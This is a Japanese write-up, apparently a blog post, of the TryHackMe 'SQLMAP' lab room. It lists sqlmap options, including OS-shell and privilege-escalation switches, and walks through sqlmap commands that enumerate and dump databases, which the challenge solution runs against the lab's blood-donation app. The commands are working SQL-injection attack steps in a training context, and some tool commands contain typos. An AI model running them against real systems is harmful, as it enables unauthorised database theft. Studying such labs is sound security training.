TryHackMe(THM):SQLMAP
目次
- Task 1 Introduction
- Task 2 Using Sqlmap
- Which flag or option will allow you to add a URL to the command?
- Which flag would you use to add data to a POST request?
- There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?
- Which flag would you use to show the advanced help menu?
- Which flag allows you to retrieve everything?
- Which flag allows you to select the database name?
- Which flag would you use to retrieve database tables?
- Which flag allows you to retrieve a table’s columns?
- Which flag allows you to dump all the database table entries?
- Which flag will give you an interactive SQL Shell prompt?
- You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases?
- Task 3 SQLMap Challenge
この記事は、DeepL翻訳を利用して和訳しています。
このサイトに書かれている攻撃手法は「自分に権利のあるサイト」以外では使用しないでください
Task 1 Introduction
この部屋では、sqlmapについて学び、SQL Injectionの脆弱性を突くためにどのように使用できるかを学びます。
sqlmapとは?
sqlmapは、Bernardo Damele Assumpcao GuimaraesとMiroslav Stamparによって開発されたオープンソースの侵入テストツールで、SQLインジェクションの欠陥を検出・悪用してデータベースサーバーを乗っ取る処理を自動化します。強力な検出エンジン、究極の侵入テスト者のための多くのニッチな機能、およびデータベースのフィンガープリント、データベースからのデータの取得、基盤となるファイルシステムへのアクセス、帯域外接続によるオペレーティングシステム上でのコマンドの実行に至るまで、幅広いスイッチを備えています。
Sqlmapのインストール
Kali Linuxを使用している場合、sqlmapはプリインストールされています。そうでなければ、ここからダウンロードできます。
Answer the questions below
Read the above and have sqlmap at the ready.
Task 2 Using Sqlmap
Sqlmap Commands
基本的なヘルプメニューを表示するには,ターミナルで
sqlmap -h
と入力するだけです
基本コマンド:
Options | Description |
---|---|
-u URL, --url=URL | ターゲットの URL (e.g. "http://www.site.com/vuln.php?id=1") |
--data=DATA | POSTで送信するデータ文字列 (e.g. "id=1") |
--random-agent | ランダムに選択されたHTTP User-Agentヘッダーの値を使用する |
-p TESTPARAMETER | テスト可能なパラメータ(複数可) |
--level=LEVEL | 実施するテストのレベル(1~5、デフォルト1) |
--risk=RISK | 実施すべきテストのリスク(1~3、デフォルト1) |
列挙コマンド:
これらのオプションは、バックエンドのデータベース管理システムの情報、構造、およびテーブルに含まれるデータを列挙するために使用することができます。
Options | Description |
---|---|
-a, --all | すべて取得する |
-b, --banner | DBMSバナーの取得 |
--current-user | DBMSのカレントユーザーを取得する |
--current-db | DBMSの現在のデータベースを取得する |
--passwords | DBMS ユーザーのパスワードハッシュを列挙する |
--dbs | DBMSのデータベースを列挙する |
--tables | DBMSデータベースのテーブルを列挙する |
--columns | DBMSデータベーステーブルのカラムを列挙する |
--schema | DBMSのスキーマを列挙する |
--dump | DBMSデータベースのテーブルエントリをダンプする |
--dump-all | すべてのDBMSデータベースのテーブルエントリをダンプします |
--is-dba | DBMS の現在のユーザーが DBA であるかどうかを検出します |
-D <DB NAME> | DBMS データベースから列挙 |
-T <TABLE NAME> | DBMSデータベースのテーブルを列挙する |
-C COL | 列挙するDBMSデータベーステーブルのカラム(複数可) |
オペレーティングシステムアクセスコマンド:
これらのオプションは、ターゲットOS上のバックエンドデータベース管理システムにアクセスするために使用することができます。
Options | Description |
---|---|
--os-shell | 対話型オペレーティングシステムのシェルのプロンプトを表示 |
--os-pwn | OOBシェル、Meterpreter、VNCのプロンプトが表示されます。 |
--os-cmd=OSCMD | オペレーティングシステムのコマンドを実行する |
--priv-esc | データベースプロセスのユーザー権限昇格 |
--os-smbrelay | OOBシェル、Meterpreter、VNCのワンクリックでのプロンプト表示 |
上の表はsqlmapで使用できるすべてのスイッチではないことに注意してください。より広範なオプションのリストについては、
sqlmap -hh
を実行して詳細なヘルプメッセージを表示させてください。
さて、sqlmapで使用できるオプションのいくつかを見てきましたが、GETとPOSTメソッドベースのリクエストの両方を使った例に飛びつこうではありませんか。
シンプルなHTTP GETベースのテスト
sqlmap -u https://testsite.com/page.php?id=7 --dbs
ここでは、2つのフラグを使用しています。-uは脆弱なURLを示し、-dbsはデータベースを列挙しています。
シンプルなHTTP POSTベースのテスト
まず、脆弱性のあるPOSTリクエストを特定し、それを保存する必要があります。保存するには、リクエストを右クリックし、「Copy to file」を選択して、ディレクトリに保存してください。また、リクエスト全体をコピーして、テキストファイルに保存することもできます。
上記のリクエストで、脆弱なパラメータである可能性のあるPOSTパラメータ「blood_group」があることにお気づきでしょう。
潜在的に脆弱なパラメータを特定できたので、sqlmapに飛び込んで、以下のコマンドを使用してみましょう。
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r <request_file> -p <vulnerable_parameter> --dbs
ここでは、2つのフラグを使用しています。-rはファイルの読み込み、-pは脆弱性パラメータを与える、そして-dbsはデータベースを列挙する。
データベースができたので、データベースの血液からテーブルを抽出してみましょう。
GETベースの方式を使用
sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables
POSTベースの方式を使用
sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables
これらのコマンドを実行すると、テーブルが表示されるはずです。
利用可能なテーブルができたら、今度はblood_dbテーブルからカラムを集めてみましょう。
GETベースの方式を使用
sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns
POSTベースの方式を使用
sqlmap -r req.txt -D blood -T blood_db --columns
sqlmap -r req.txt -D <database_name> -T <table_name> --columns
あるいは、以下のコマンドを使用して、利用可能なすべてのデータベースとテーブルを単純にダンプすることもできます。
GETベースの方式を使用
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all
POSTベースの方式を使用
sqlmap -r req.txt -D <database_name> --dump-all
sqlmap -r req.txt -p -D <database_name> --dump-all
sqlmapの基本的な使い方と様々なコマンドを見て楽しんでいただけたと思います。では、次の課題からチャレンジしてみましょう!
Answer the questions below
Which flag or option will allow you to add a URL to the command?
基本コマンドにURLを追加できるフラグやオプションが書かれていますのでそれが答えです。
Which flag would you use to add data to a POST request?
POSTベース方式周辺で「data」を目grepしてオプションを探します。
There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?
基本的なコマンド内にあるテスト可能なパラメータを指定します。
Which flag would you use to show the advanced help menu?
より広範なオプションのリストを出力するフラグが答えです。
Which flag allows you to retrieve everything?
「すべて」をキーワードにしてオプションを指定します。
Which flag allows you to select the database name?
emulationコマンド一覧にあります。
Which flag would you use to retrieve database tables?
emulationコマンド一覧にあります。
Which flag allows you to retrieve a table’s columns?
emulationコマンド一覧にあります。
Which flag allows you to dump all the database table entries?
emulationコマンド一覧にあります。
Which flag will give you an interactive SQL Shell prompt?
「sqlmap -hh」を実行した結果から、「shell」という言葉を目grepします。(笑)
You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases?
データベースを指定するパラメータを使用します。
Task 3 SQLMap Challenge
このタスクに接続されているマシンをデプロイし、MACHINE_IPに移動します(このマシンは起動に3分ほどかかる場合があります)。
Task:
私たちは「献血」を集めるアプリケーションを導入しています。リクエストに脆弱性があるようです。
脆弱性のあるアプリケーションのSQL Injectionの脆弱性を利用して、フラグを検出します。
Answer the questions below
What is the name of the interesting directory ?
まずマシンに対してnmapを実行します。
# nmap -sV -sC -A <$IPアドレス>
80番ポートが解放されていることがわかります。
gobusterで隠れディレクトリを調査します。
#gouser dir u <$IPアドレス> -w /user/share/wordlists/dirbuster/directory-list-2.3-midium.txt
見つかったディレクトリが解答です。
ブラウザでアクセスしてみると、献血記録を記録するサイトのようです。
Who is the current db user?
カレントユーザを調査するためにsqlmapコマンドを実行します。
たしか、id=1がカレントユーザという記憶があったので変数に追加します。
$ sqlmap -u http://<$IPアドレス>/blood/view.php?id=1 --current-user
出力結果から「current-user」行を探し、そこに表示されているユーザを解答します。
What is the final flag?
とりあえず右上にある「Regster」でユーザ登録します。
作成したユーザでログインします。
画面が遷移するので、左上にある人のアイコン(View)をクリックします。
ユーザ一覧が表示され、「nare」というユーザが登録されています。
その行の「Actions」の目のアイコンをクリックします。
ユーザ「nare」の登録データが表示されます。そのURLを使ってsqlmapコマンドを実行します。
$ sqlmap -u http://<$IPアドレス>/blood/view.php?id=1 --dbs
6つのデータベースが登録されていることがわかりました。
献血記録を登録するサイトなので「blood」データベースにどんなテーブルがあるか調査します。
$ sqlmap -u http://
<$IPアドレス>
/blood/view.php?id=1 -D blood --tables
3つのテーブルが登録されていることがわかりました。
「flag」というテーブルがあるので中身を確認します。
# sqlmap -u http://
<$IPアドレス>
/blood/view.php?id=1 -D blood -T flag --dump
完了